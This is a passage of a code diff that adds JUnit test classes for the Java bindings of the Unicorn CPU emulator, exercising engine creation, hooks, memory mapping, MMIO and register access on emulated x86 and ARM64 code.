return res;
}
}

View File

@@ -0,0 +1,188 @@
package tests;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import unicorn.Unicorn;
import unicorn.UnicornException;
/** Test miscellaneous features that don't fall into the register, memory
* or hook API */
public class FunctionalityTests {
@Test
public void testStatics() {
assertEquals(true, Unicorn.arch_supported(Unicorn.UC_ARCH_X86));
assertEquals(false, Unicorn.arch_supported(Unicorn.UC_ARCH_MAX + 1));
assertTrue("version check", Unicorn.version() >= 0x02000100);
assertEquals("OK (UC_ERR_OK)", Unicorn.strerror(Unicorn.UC_ERR_OK));
assertEquals("Invalid handle (UC_ERR_HANDLE)",
Unicorn.strerror(Unicorn.UC_ERR_HANDLE));
}
@Test
public void testCreation() {
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_MAX + 1, 0));
if (Unicorn.arch_supported(Unicorn.UC_ARCH_X86)) {
new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16);
new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64);
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_X86,
Unicorn.UC_MODE_BIG_ENDIAN));
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_M68K)) {
new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_M68K,
Unicorn.UC_MODE_LITTLE_ENDIAN));
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_ARM)) {
new Unicorn(Unicorn.UC_ARCH_ARM, 0);
new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_BIG_ENDIAN);
new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_ARM64)) {
new Unicorn(Unicorn.UC_ARCH_ARM64, 0);
new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_BIG_ENDIAN);
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_MIPS)) {
new Unicorn(Unicorn.UC_ARCH_MIPS,
Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_32);
new Unicorn(Unicorn.UC_ARCH_MIPS,
Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_32);
new Unicorn(Unicorn.UC_ARCH_MIPS,
Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_64);
new Unicorn(Unicorn.UC_ARCH_MIPS,
Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_64);
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_16));
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_SPARC)) {
new Unicorn(Unicorn.UC_ARCH_SPARC,
Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_32);
new Unicorn(Unicorn.UC_ARCH_SPARC,
Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_64);
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_SPARC,
Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_32));
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_PPC)) {
new Unicorn(Unicorn.UC_ARCH_PPC,
Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_32);
new Unicorn(Unicorn.UC_ARCH_PPC,
Unicorn.UC_MODE_BIG_ENDIAN | Unicorn.UC_MODE_64);
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_PPC,
Unicorn.UC_MODE_LITTLE_ENDIAN | Unicorn.UC_MODE_32));
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_RISCV)) {
new Unicorn(Unicorn.UC_ARCH_RISCV, Unicorn.UC_MODE_32);
new Unicorn(Unicorn.UC_ARCH_RISCV, Unicorn.UC_MODE_64);
}
if (Unicorn.arch_supported(Unicorn.UC_ARCH_S390X)) {
new Unicorn(Unicorn.UC_ARCH_S390X, Unicorn.UC_MODE_BIG_ENDIAN);
assertThrows(UnicornException.class,
() -> new Unicorn(Unicorn.UC_ARCH_S390X,
Unicorn.UC_MODE_LITTLE_ENDIAN));
new Unicorn(Unicorn.UC_ARCH_TRICORE, 0);
}
}
@Test
public void testThreading() {
// EB FE - label: jmp label
final byte[] X86_CODE = { -21, -2 };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, X86_CODE);
new Thread(() -> {
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
u.emu_stop();
}).start();
u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0);
}
@Test
public void testContext() {
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL);
Unicorn.Context ctx = uc.context_save();
assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfeedfaceL);
assertEquals(0xfeedfaceL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.context_restore(ctx);
assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfee1deadL);
assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xdeadbeefL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.context_update(ctx);
assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xfee1deadL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL);
assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xfee1deadL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.context_restore(ctx);
assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
assertEquals(0xfee1deadL, ctx.reg_read(Unicorn.UC_ARM64_REG_X0));
}
@Test
public void testOldContext() {
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL);
long ctx = uc.context_alloc();
uc.context_save(ctx);
assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfeedfaceL);
assertEquals(0xfeedfaceL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.context_restore(ctx);
assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xfee1deadL);
assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.context_save(ctx);
assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0xdeadbeefL);
assertEquals(0xdeadbeefL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.context_restore(ctx);
assertEquals(0xfee1deadL, uc.reg_read(Unicorn.UC_ARM64_REG_X0));
uc.free(ctx);
}
}

View File

@@ -0,0 +1,125 @@
package tests;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertThrows;
import org.junit.Test;
import unicorn.CodeHook;
import unicorn.EdgeGeneratedHook;
import unicorn.TlbFillHook;
import unicorn.TranslationBlock;
import unicorn.Unicorn;
import unicorn.UnicornException;
public class HookTests {
private static void assertTranslationBlock(TranslationBlock expected,
TranslationBlock actual) {
assertEquals(expected.pc, actual.pc);
assertEquals(expected.icount, actual.icount);
assertEquals(expected.size, actual.size);
}
@Test
public void testEdgeHook() {
/*
00000000 83FB01 cmp ebx,byte +0x1
00000003 7405 jz 0xa
00000005 B802000000 mov eax,0x2
0000000A 40 inc eax
0000000B EBFE jmp short 0xb
*/
final byte[] X86_CODE =
{ -125, -5, 1, 116, 5, -72, 2, 0, 0, 0, 64, -21, -2 };
final TranslationBlock[] expectedTb = { null, null };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, X86_CODE);
expectedTb[1] = new TranslationBlock(ADDRESS, 2, 5);
u.hook_add((EdgeGeneratedHook) (uc, cur_tb, prev_tb, user) -> {
assertTranslationBlock(expectedTb[0], cur_tb);
assertTranslationBlock(expectedTb[1], prev_tb);
assertEquals("user data", user);
}, ADDRESS, ADDRESS + 10, "user data");
// TODO(nneonneo): why is icount 2/3 in the subsequent blocks?
expectedTb[0] = new TranslationBlock(ADDRESS + 10, 2, 1);
u.reg_write(Unicorn.UC_X86_REG_EBX, 1);
u.emu_start(ADDRESS, ADDRESS + 11, 0, 0);
expectedTb[0] = new TranslationBlock(ADDRESS + 5, 3, 6);
u.reg_write(Unicorn.UC_X86_REG_EBX, 0);
u.emu_start(ADDRESS, ADDRESS + 11, 0, 0);
assertTranslationBlock(new TranslationBlock(ADDRESS, 2, 5),
u.ctl_request_cache(ADDRESS));
// TODO(nneonneo): I don't totally understand this output! Why 8 bytes at address 5?
assertTranslationBlock(new TranslationBlock(ADDRESS + 5, 3, 8),
u.ctl_request_cache(ADDRESS + 5));
}
@Test
public void testTlbHook() {
// mov ecx, [0xaaaaaaa8]
final byte[] X86_CODE32_MEM_READ = { -117, 13, -88, -86, -86, -86 };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_map(0xbbbbb000L, 0x1000, Unicorn.UC_PROT_READ);
u.hook_add((TlbFillHook) (uc, address, type, user_data) -> {
assertEquals("fill hook address", 0xaaaaa000L, address);
assertEquals("fill hook type", Unicorn.UC_MEM_READ, type);
assertEquals("fill hook user", "fill_hook", user_data);
return 0xbbbbb000L | Unicorn.UC_PROT_READ;
}, 0xaaaaa000L, 0xaaaab000L, "fill_hook");
u.mem_write(ADDRESS, X86_CODE32_MEM_READ);
u.mem_write(0xbbbbbaa8L, new byte[] { 1, 2, 3, 4 });
u.reg_write(Unicorn.UC_X86_REG_ECX, 0x12345678);
u.ctl_tlb_mode(Unicorn.UC_TLB_VIRTUAL);
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0);
assertEquals("ecx", u.reg_read(Unicorn.UC_X86_REG_ECX), 0x04030201);
}
@Test
public void testRemoveHook() {
byte[] X86_CODE = { 0x40, 0x40, 0x40, 0x40 }; // (inc eax) x 4
int ADDRESS = 0x10000;
final int[] hook_accum = { 0 };
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, X86_CODE);
CodeHook hook =
(uc, address, size, user) -> hook_accum[0] += (int) user;
long h1 = u.hook_add(hook, ADDRESS, ADDRESS, 1);
long h2 = u.hook_add(hook, ADDRESS + 1, ADDRESS + 1, 2);
long h3 = u.hook_add(hook, ADDRESS + 2, ADDRESS + 2, 4);
long h4 = u.hook_add(hook, ADDRESS + 3, ADDRESS + 3, 8);
hook_accum[0] = 0;
u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0);
assertEquals(15, hook_accum[0]);
u.hook_del(h2);
hook_accum[0] = 0;
u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0);
assertEquals(13, hook_accum[0]);
u.hook_del(hook);
hook_accum[0] = 0;
u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0);
assertEquals(0, hook_accum[0]);
assertThrows(UnicornException.class, () -> u.hook_del(h1));
assertThrows(UnicornException.class, () -> u.hook_del(h3));
assertThrows(UnicornException.class, () -> u.hook_del(h4));
}
}

View File

@@ -0,0 +1,131 @@
package tests;
import static org.junit.Assert.assertEquals;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import org.junit.Test;
import unicorn.MemRegion;
import unicorn.Unicorn;
public class MemTests {
private static void assertMemRegion(long address, long size,
int perms, MemRegion actual) {
assertEquals(address, actual.begin);
assertEquals(address + size - 1, actual.end);
assertEquals(perms, actual.perms);
}
@Test
public void testMemRegions() {
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
long ADDR1 = 0x10000;
long ADDR2 = 0xdeadbeeffeed1000L;
uc.mem_map(ADDR1, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
uc.mem_map(ADDR2, 4096, Unicorn.UC_PROT_READ);
MemRegion[] arr = uc.mem_regions();
assertEquals("two memory regions", 2, arr.length);
assertMemRegion(ADDR1, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL, arr[0]);
assertMemRegion(ADDR2, 4096, Unicorn.UC_PROT_READ, arr[1]);
}
@Test
public void testMemRegions2() {
Unicorn u = new Unicorn(Unicorn.UC_ARCH_TRICORE, 0);
u.mem_map(0x10000, 0x10000, Unicorn.UC_PROT_ALL);
u.mem_map(0x30000, 0x10000, Unicorn.UC_PROT_READ);
u.mem_map(0x50000, 0x10000,
Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
u.mem_map(0x70000, 0x20000, 0);
u.mem_protect(0x80000, 0x10000, Unicorn.UC_PROT_EXEC);
ByteBuffer buf = ByteBuffer.allocateDirect(0x10000);
u.mem_map_ptr(0x110000, buf, Unicorn.UC_PROT_ALL);
u.mmio_map(0x210000, 0x10000,
(uc, offset, size, user_data) -> 0x41414141,
null, (uc, offset, size, value, user_data) -> {
}, null);
u.mmio_map(0x230000, 0x10000,
(uc, offset, size, user_data) -> 0x41414141,
null, null, null);
u.mmio_map(0x250000, 0x10000, null, null,
(uc, offset, size, value, user_data) -> {
}, null);
u.mmio_map(0x270000, 0x10000, null, null, null, null);
MemRegion[] mrs = u.mem_regions();
assertEquals(10, mrs.length);
assertMemRegion(0x10000, 0x10000, Unicorn.UC_PROT_ALL, mrs[0]);
assertMemRegion(0x30000, 0x10000, Unicorn.UC_PROT_READ, mrs[1]);
assertMemRegion(0x50000, 0x10000,
Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE, mrs[2]);
assertMemRegion(0x70000, 0x10000, Unicorn.UC_PROT_NONE, mrs[3]);
assertMemRegion(0x80000, 0x10000, Unicorn.UC_PROT_EXEC, mrs[4]);
assertMemRegion(0x110000, 0x10000, Unicorn.UC_PROT_ALL, mrs[5]);
assertMemRegion(0x210000, 0x10000,
Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE, mrs[6]);
assertMemRegion(0x230000, 0x10000, Unicorn.UC_PROT_READ, mrs[7]);
assertMemRegion(0x250000, 0x10000, Unicorn.UC_PROT_WRITE, mrs[8]);
assertMemRegion(0x270000, 0x10000, Unicorn.UC_PROT_NONE, mrs[9]);
}
@Test
public void testMmio() {
// mov ecx, [0xaaaaaaa8]; inc ecx; dec edx; mov [0xaaaaaaa8], ecx; inc ecx; dec edx
final byte[] X86_CODE32_MEM_READ_WRITE =
{ -117, 13, -88, -86, -86, -86, 65, 74, -119, 13, -88, -86, -86,
-86, 65, 74 };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, X86_CODE32_MEM_READ_WRITE);
// initialize machine registers
u.reg_write(Unicorn.UC_X86_REG_ECX, 0x12345678);
u.reg_write(Unicorn.UC_X86_REG_EDX, 0x22334455);
u.mmio_map(0xaaaaa000L, 0x1000, (uc, offset, size, user_data) -> {
assertEquals("read offset", 0xaa8, offset);
assertEquals("read size", 4, size);
assertEquals("read user_data", "read_data", user_data);
return 0x44556677;
}, "read_data", (uc, offset, size, value, user_data) -> {
assertEquals("write offset", 0xaa8, offset);
assertEquals("write size", 4, size);
assertEquals("write value", 0x44556678, value);
assertEquals("write user_data", "write_data", user_data);
}, "write_data");
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ_WRITE.length, 0, 0);
assertEquals("ecx", 0x44556679, u.reg_read(Unicorn.UC_X86_REG_ECX));
assertEquals("edx", 0x22334453, u.reg_read(Unicorn.UC_X86_REG_EDX));
}
@Test
public void testMemMapPtr() {
ByteBuffer buffer =
ByteBuffer.allocateDirect(0x1000).order(ByteOrder.LITTLE_ENDIAN);
final byte[] X86_CODE32_MEM_WRITE =
{ -119, 13, -86, -86, -86, -86, 65, 74 };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_map_ptr(0xaaaaa000L, buffer, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE);
u.reg_write(Unicorn.UC_X86_REG_ECX, 0x12345678);
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0);
assertEquals("buffer contents", 0x12345678, buffer.getInt(0xaaa));
}
}

View File

@@ -0,0 +1,237 @@
package tests;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertThrows;
import java.math.BigInteger;
import org.junit.Test;
import unicorn.Arm64_CP;
import unicorn.SyscallHook;
import unicorn.Unicorn;
import unicorn.UnicornException;
import unicorn.X86_Float80;
public class RegTests {
@Test
public void testX86ReadFloat80() {
// fldl2e; fsin
final byte[] X86_CODE = { -39, -22, -39, -2 };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, X86_CODE);
u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0);
X86_Float80 reg1 =
(X86_Float80) u.reg_read(Unicorn.UC_X86_REG_ST0, null);
X86_Float80 reg2 =
(X86_Float80) u.reg_read(Unicorn.UC_X86_REG_FP7, null);
assertEquals(null, ADDRESS, ADDRESS, ADDRESS);
assertEquals(Math.sin(Math.log(Math.E) / Math.log(2)), reg1.toDouble(),
1e-12);
assertEquals(reg1.toDouble(), reg2.toDouble(), 1e-12);
}
@Test
public void testX86WriteFloat80() {
// fsin
final byte[] X86_CODE = { -39, -2 };
long ADDRESS = 0x100000;
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, X86_CODE);
X86_Float80 reg = X86_Float80.fromDouble(-1.1);
u.reg_write(Unicorn.UC_X86_REG_ST0, reg);
u.emu_start(ADDRESS, ADDRESS + X86_CODE.length, 0, 0);
reg = (X86_Float80) u.reg_read(Unicorn.UC_X86_REG_ST0, null);
assertEquals(Math.sin(-1.1), reg.toDouble(), 1e-12);
}
/** Test batch register API. Ported from sample_batch_reg.c. Not a sample
* because the Java version of this API is deprecated.
*/
@Test
public void testBatchReg() {
int[] syscall_abi = { Unicorn.UC_X86_REG_RAX, Unicorn.UC_X86_REG_RDI,
Unicorn.UC_X86_REG_RSI, Unicorn.UC_X86_REG_RDX,
Unicorn.UC_X86_REG_R10, Unicorn.UC_X86_REG_R8,
Unicorn.UC_X86_REG_R9 };
Object[] vals = { 200L, 10L, 11L, 12L, 13L, 14L, 15L };
long BASE = 0x10000L;
// mov rax, 100; mov rdi, 1; mov rsi, 2; mov rdx, 3; mov r10, 4; mov r8, 5; mov
// r9, 6; syscall
byte[] CODE =
samples.Utils.hexToBytes("48c7c06400000048c7c70100000048c7c602" +
"00000048c7c20300000049c7c20400000049" +
"c7c00500000049c7c1060000000f05");
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64);
uc.reg_write_batch(syscall_abi, vals);
Object[] rvals = uc.reg_read_batch(syscall_abi);
assertArrayEquals(vals, rvals);
uc.hook_add((SyscallHook) (u, user_data) -> {
Object[] nvals = u.reg_read_batch(syscall_abi);
assertArrayEquals(new Object[] { 100L, 1L, 2L, 3L, 4L, 5L, 6L },
nvals);
}, Unicorn.UC_X86_INS_SYSCALL, 1, 0, null);
uc.mem_map(BASE, 0x1000, Unicorn.UC_PROT_ALL);
uc.mem_write(BASE, CODE);
uc.emu_start(BASE, BASE + CODE.length, 0, 0);
}
@Test
public void testBigIntegerRegister() {
Unicorn uc =
new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
int reg = Unicorn.UC_ARM64_REG_V0;
assertThrows(UnicornException.class, () -> uc.reg_read(reg));
assertThrows(UnicornException.class, () -> uc.reg_write(reg, 1L));
assertThrows(ClassCastException.class,
() -> uc.reg_write(reg, (Long) 1L));
BigInteger b127 = BigInteger.valueOf(2).pow(127);
BigInteger bmax =
BigInteger.valueOf(2).pow(128).subtract(BigInteger.ONE);
uc.reg_write(reg, BigInteger.ZERO);
assertEquals("write 0, get 0", BigInteger.ZERO, uc.reg_read(reg, null));
uc.reg_write(reg, BigInteger.ONE);
assertEquals("write 1, get 1", BigInteger.ONE, uc.reg_read(reg, null));
assertEquals("get 1 from alias", BigInteger.ONE,
uc.reg_read(Unicorn.UC_ARM64_REG_Q0, null));
uc.reg_write(reg, BigInteger.ONE.negate());
assertEquals("write -1, get 2^128 - 1", bmax, uc.reg_read(reg, null));
uc.reg_write(reg, b127);
assertEquals("write 2^127, get 2^127", b127, uc.reg_read(reg, null));
uc.reg_write(reg, b127.negate());
assertEquals("write -2^127, get 2^127", b127, uc.reg_read(reg, null));
uc.reg_write(reg, bmax);
assertEquals("write 2^128 - 1, get 2^128 - 1", bmax,
uc.reg_read(reg, null));
assertThrows("reject 2^128", IllegalArgumentException.class,
() -> uc.reg_write(reg, bmax.add(BigInteger.ONE)));
assertEquals("reg unchanged", bmax,
uc.reg_read(reg, null));
assertThrows("reject -2^127 - 1", IllegalArgumentException.class,
() -> uc.reg_write(reg, b127.negate().subtract(BigInteger.ONE)));
assertEquals("reg unchanged", bmax,
uc.reg_read(reg, null));
byte[] b = new byte[0x80];
b[0x70] = -0x80;
uc.reg_write(reg, new BigInteger(b));
assertEquals("write untrimmed value", b127, uc.reg_read(reg, null));
}
@Test
public void testArm64Vector() {
// add v0.8h, v1.8h, v2.8h
final byte[] ARM64_CODE = { 0x20, (byte) 0x84, 0x62, 0x4e };
long ADDRESS = 0x100000;
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
uc.mem_write(ADDRESS, ARM64_CODE);
uc.reg_write(Unicorn.UC_ARM64_REG_V0,
new BigInteger("0cc175b9c0f1b6a831c399e269772661", 16)); // MD5("a")
uc.reg_write(Unicorn.UC_ARM64_REG_V1,
new BigInteger("92eb5ffee6ae2fec3ad71c777531578f", 16)); // MD5("b")
uc.reg_write(Unicorn.UC_ARM64_REG_V2,
new BigInteger("-4a8a08f09d37b73795649038408b5f33", 16)); // -MD5("c")
assertThrows("rejects overly large values",
IllegalArgumentException.class,
() -> uc.reg_write(Unicorn.UC_ARM64_REG_V2,
new BigInteger("1111222233334444aaaabbbbccccdddde", 16)));
assertEquals("v0 value",
new BigInteger("0cc175b9c0f1b6a831c399e269772661", 16),
uc.reg_read(Unicorn.UC_ARM64_REG_V0, null));
assertEquals("v1 value",
new BigInteger("92eb5ffee6ae2fec3ad71c777531578f", 16),
uc.reg_read(Unicorn.UC_ARM64_REG_V1, null));
assertEquals("v2 value",
new BigInteger("b575f70f62c848c86a9b6fc7bf74a0cd", 16),
uc.reg_read(Unicorn.UC_ARM64_REG_V2, null));
uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE.length, 0, 0);
assertEquals("v0.8h = v1.8h + v2.8h",
new BigInteger("4860570d497678b4a5728c3e34a5f85c", 16),
uc.reg_read(Unicorn.UC_ARM64_REG_V0, null));
}
@Test
public void testArm64EnablePAC() {
// paciza x1
final byte[] ARM64_CODE =
{ (byte) 0xe1, 0x23, (byte) 0xc1, (byte) 0xda };
long ADDRESS = 0x100000;
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
uc.ctl_set_cpu_model(Unicorn.UC_CPU_ARM64_MAX);
uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
uc.mem_write(ADDRESS, ARM64_CODE);
Arm64_CP sctlr_el3 = new Arm64_CP(1, 1, 3, 6, 0);
sctlr_el3.val =
(Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el3);
// NS | RW | API
sctlr_el3.val |= 1L | (1L << 10) | (1L << 17);
uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el3);
sctlr_el3.val =
(Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el3);
Arm64_CP sctlr_el1 = new Arm64_CP(1, 0, 3, 0, 0);
sctlr_el1.val =
(Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el1);
// EnIA | EnIB
sctlr_el1.val |= (1L << 31) | (1L << 30) | (1L << 27) | (1L << 13);
uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el1);
sctlr_el1.val =
(Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, sctlr_el1);
Arm64_CP hcr_el2 = new Arm64_CP(1, 1, 3, 4, 0);
hcr_el2.val =
(Long) uc.reg_read(Unicorn.UC_ARM64_REG_CP_REG, hcr_el2);
// API
hcr_el2.val |= (1L << 41);
uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, hcr_el2);
Arm64_CP apiakeylo_el1 = new Arm64_CP(2, 1, 3, 0, 0);
apiakeylo_el1.val = 0x4141424243434444L;
uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, apiakeylo_el1);
Arm64_CP apiakeyhi_el1 = new Arm64_CP(2, 1, 3, 0, 1);
apiakeyhi_el1.val = 0x1234abcd4444aaaaL;
uc.reg_write(Unicorn.UC_ARM64_REG_CP_REG, apiakeyhi_el1);
uc.reg_write(Unicorn.UC_ARM64_REG_X1, 0x0000bbbbccccddddL);
uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE.length, 0, 0);
assertNotEquals("X1 should be signed", 0x0000bbbbccccddddL,
uc.reg_read(Unicorn.UC_ARM64_REG_X1));
assertEquals("X1 low bits should be unchanged", 0x0000bbbbccccddddL,
uc.reg_read(Unicorn.UC_ARM64_REG_X1) & 0xffffffffffffL);
}
}

View File

@@ -0,0 +1,75 @@
package tests;
import static org.junit.Assert.assertEquals;
import java.math.BigInteger;
import org.junit.Ignore;
import org.junit.Test;
import unicorn.Unicorn;
import unicorn.UnicornException;
import unicorn.CodeHook;
public class RegressionTests {
/** Test for GH #1539: Unable to read ARM64 v or q register using java binding */
@Test
public void testARM64VReg() {
Unicorn uc = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
uc.reg_write(Unicorn.UC_ARM64_REG_X0, 0x1);
uc.reg_write(Unicorn.UC_ARM64_REG_V0, BigInteger.valueOf(0x1234));
uc.reg_read(Unicorn.UC_ARM64_REG_X0);
assertEquals("V0 value", BigInteger.valueOf(0x1234),
uc.reg_read(Unicorn.UC_ARM64_REG_V0, null)); // should not crash
assertEquals("V0 low byte", 0x34,
uc.reg_read(Unicorn.UC_ARM64_REG_B0));
assertEquals("V0 low halfword", 0x1234,
uc.reg_read(Unicorn.UC_ARM64_REG_H0));
}
/** Test for GH #1164: Java binding use CodeHook on Windows, will invoke callback before every instruction */
@Test
public void testCodeHookRunsOnce() {
byte[] ARM_CODE =
{ 55, 0, (byte) 0xa0, (byte) 0xe3, 3, 16, 66, (byte) 0xe0 }; // mov r0, #0x37; sub r1, r2, r3
int ADDRESS = 0x10000;
final int[] hook_count = { 0 };
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
u.mem_write(ADDRESS, ARM_CODE);
u.hook_add((CodeHook) (uc, address, size, user) -> hook_count[0] += 1,
ADDRESS, ADDRESS, null);
